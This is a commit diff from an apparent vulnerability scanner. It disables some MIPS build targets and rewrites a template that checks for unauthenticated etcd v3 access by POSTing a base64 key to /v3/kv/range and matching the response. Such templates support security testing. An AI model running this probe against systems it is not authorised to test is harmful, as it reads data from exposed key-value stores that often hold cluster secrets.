Merge pull request #434 from INT2ECALL/patch-1

Update etcd-v3-unauth.yml

.github/conf/.goreleaser.yml

@@ -17,9 +17,9 @@ builds:
       - "386"
       - arm
       - arm64
-      - mips
+#      - mips
-      - mipsle
+#      - mipsle
-      - mips64
+#      - mips64
     goarm:
       - "6"
       - "7"

WebScan/pocs/etcd-v3-unauth.yml

@@ -1,12 +1,14 @@
-name: poc-yaml-etcd-v3-unauth
+name: ETCD V3未授权
 rules:
-  - method: GET
+  - method: POST
-    path: /version
+    path: /v3/kv/range
     follow_redirects: false
+    Content-Type: application/json;charset=utf-8
     expression: |
-      response.status == 200 && response.body.bcontains(b"etcdserver")
+      response.status == 200 && response.body.bcontains(b"cluster")  && response.body.bcontains(b"head")
-
+    body: |
+      {"key": "bmFtZQ=="}
 detail:
   author: rj45(https://github.com/INT2ECALL)
   links:
-    - https://networksec.blog.csdn.net/article/details/144912358?spm=1001.2014.3001.5502
+    - https://networksec.blog.csdn.net/article/details/144912358?spm=1001.2014.3001.5502